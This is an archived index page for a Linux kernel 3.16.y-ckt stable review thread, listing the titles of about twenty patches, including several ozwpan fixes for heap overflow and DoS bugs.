More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

[toc] | [prev] | [next] | [standalone]

Page 1 of 3 [1] 2 3 Next page →

csiph-web

[3.16.y-ckt stable] Linux 3.16.7-ckt14 stable review

Contents

#1172018 — [3.16.y-ckt stable] Linux 3.16.7-ckt14 stable review

#1172019 — [PATCH 3.16.y-ckt 47/71] btrfs: cleanup orphans while looking up default subvolume

#1172020 — [PATCH 3.16.y-ckt 62/71] iser-target: Fix variable-length response error completion

#1172021 — [PATCH 3.16.y-ckt 13/71] ozwpan: Use unsigned ints to prevent heap overflow

#1172022 — [PATCH 3.16.y-ckt 01/71] iio: adis16400: Report pressure channel scale

#1172023 — [PATCH 3.16.y-ckt 15/71] ozwpan: unchecked signed subtraction leads to DoS

#1172024 — [PATCH 3.16.y-ckt 70/71] drm/radeon: fix freeze for laptop with Turks/Thames GPU.

#1172025 — [PATCH 3.16.y-ckt 61/71] block: fix ext_dev_lock lockdep report

#1172026 — [PATCH 3.16.y-ckt 14/71] ozwpan: divide-by-zero leading to panic

#1172027 — [PATCH 3.16.y-ckt 50/71] iommu/vt-d: Allow RMRR on graphics devices too

#1172028 — [PATCH 3.16.y-ckt 56/71] Input: synaptics - add min/max quirk for Lenovo S540

#1172029 — [PATCH 3.16.y-ckt 10/71] usb: dwc3: gadget: Fix incorrect DEPCMD and DGCMD status macros

#1172032 — [PATCH 3.16.y-ckt 46/71] btrfs: incorrect handling for fiemap_fill_next_extent return

#1172033 — [PATCH 3.16.y-ckt 55/71] pata_octeon_cf: fix broken build

#1172035 — [PATCH 3.16.y-ckt 65/71] drm/mgag200: Reject non-character-cell-aligned mode widths

#1172037 — [PATCH 3.16.y-ckt 67/71] crypto: caam - improve initalization for context state saves

#1172038 — [PATCH 3.16.y-ckt 57/71] drm/i915: Fix DDC probe for passive adapters

#1172039 — [PATCH 3.16.y-ckt 51/71] iommu/vt-d: Fix passthrough mode with translation-disabled devices

#1172040 — [PATCH 3.16.y-ckt 68/71] crypto: caam - fix RNG buffer cache alignment

#1172041 — [PATCH 3.16.y-ckt 12/71] ozwpan: Use proper check to prevent heap overflow